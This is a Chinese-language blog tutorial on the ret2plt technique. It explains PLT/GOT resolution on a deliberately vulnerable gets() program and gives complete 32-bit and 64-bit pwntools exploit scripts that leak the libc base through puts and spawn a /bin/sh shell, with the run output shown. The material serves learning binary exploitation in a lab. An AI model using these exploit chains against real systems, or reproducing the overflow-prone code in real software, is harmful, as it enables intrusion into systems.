ret2plt
PLT, or Procedure Linkage Table. These are stubs that look up the addresses in the .got.plt section, and either jump to the right address, or trigger the code in the linker to look up the address. (If the address has not been filled in to .got.plt yet.)
漏洞程序
#include <stdio.h>
void vuln() {
puts("Come get me");
char buffer[20];
gets(buffer);
}
int main() {
vuln();
return 0;
}
32位ret2plt
plt分析
- 程序保护 //gcc source.c -o vuln-32 -no-pie -fno-stack-protector -z execstack -m32
└─$ checksec --file=./vuln-32
[*] '/home/kali/exploits/ret2plt/vuln-32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
- plt节
- .plt节可执行
[0xf7fe4450]> iS~.plt
10 0x000002f0 0x18 0x080482f0 0x18 -r-- .rel.plt
12 0x00001020 0x40 0x08049020 0x40 -r-x .plt
22 0x00003000 0x18 0x0804c000 0x18 -rw- .got.plt
- 查看plt节
0xf7fe4450]> pdi 9 @ 0x08049020
0x08049020 sym..plt:
0x08049020 ff3504c00408 push dword [0x804c004]
0x08049026 ff2508c00408 jmp dword [0x804c008]
0x0804902c 0000 add byte [eax], al
0x0804902e 0000 add byte [eax], al
0x08049030 sym.imp.gets:
0x08049030 ff250cc00408 jmp dword [reloc.gets]
0x08049036 6800000000 push 0
0x0804903b e9e0ffffff jmp sym..plt
0x08049040 sym.imp.puts:
0x08049040 ff2510c00408 jmp dword [reloc.puts]
0x08049046 6808000000 push 8
plt中每个entry有3条指令,基本模式jmp [got@xxx],push number , jmp plt@0
- plt与got关系
plt表
plt地址 | .plt代码 |
---|---|
plt_0 | push &link_map |
jmp _dl_runtime_resolve | |
plt_1 | jmp [got_3] |
plt_1_1 | push num |
jmp plt_0 |
got.plt表
got地址 | .got.plt |
---|---|
got_0 | .dynamic地址 |
got_1 | link_map地址 |
got_2 | _dl_runtime_resolve |
got_3 | plt_1_1 或 puts@libc |
call puts@plt,等同于如下流程:
- jmp got_3
- 如果got_3中地址是plt_1_1,即第一次调用,还没有动态解析puts符号地址,那么将执行push num
- jmp plt_0
- _dl_runtime_resolve执行之后,got_3中存放的是符号的绝对地址,比如puts@libc 之后再调用call puts@plt将直接调用 puts@libc。
ret2plt利用
泄漏libc基地址
- 栈布局
gets(buffer)可以利用溢出漏洞构建如下栈布局:
栈偏移 栈内容 +x puts@plt +x+4 main_addr +x+8 puts@got
gets(buffer)返回后,eip == [x]
- 获取溢出偏移
└─$ ragg2 -P 100 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
┌──(kali㉿kali)-[~/exploits/ret2plt]
└─$ r2 -d -A ./vuln-32
glibc.fc_offset = 0x00148
[0xf7fe4450]> dc
Come get me
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
[+] SIGNAL 11 errno=0 addr=0x41414c41 code=1 si_pid=1094798401 ret=0
[0x41414c41]> wopO 0x41414c41
32
x == 32
- 计算libc基地址
payload = ('A' * x, puts@plt,main_addr,puts@got)
send(payload)
puts_leak = recv(4)
libc.address = puts_leak - libc.sym['puts']
获取shell
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
ret2plt pwn
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
pwn结果:
┌──(kali㉿kali)-[~/exploits/ret2plt]
└─$ python exp32.py
[*] '/home/kali/exploits/ret2plt/vuln-32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/usr/lib/i386-linux-gnu/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/home/kali/exploits/ret2plt/vuln-32': pid 1955188
[*] Switching to interactive mode
Come get me
$ who
kali pts/1 2023-02-10 00:59 (192.168.44.1)
kali pts/0 2023-02-09 20:54 (192.168.44.1)
64位ret2plt
from pwn import *
elf = context.binary = ELF('./vuln-64')
libc = elf.libc
p = process()
p.recvline()
# build rop chain for outputing puts address in got
rop = ROP(elf)
rop.raw('A' * 40)
rop.puts(elf.got['puts'])
rop.raw(elf.sym['main'])
p.sendline(rop.chain())
# libc addresses are often only 6 bytes long, meaning they are preceded with 0x0000
# but this won't be read as it's a null byte, so only read 6 bytes and append the null ones later
puts_leak = u64(p.recv(6) + b'\x00\x00')
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
binsh = next(libc.search(b'/bin/sh\x00'))
rop = ROP(libc)
rop.raw('A' * 40)
rop.system(binsh)
rop.raw(libc.sym['exit']) # not required
p.sendline(rop.chain())
p.interactive()
注意 elf.got[‘puts’]和libc.sym[‘puts’]的区别
参考:
GOT and PLT for pwning
explore got and plt using radare2
- 原文作者:winsun
- 原文链接:https://winsun.github.io/fightsec/post/pwn_05_ret2plt/
- 版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。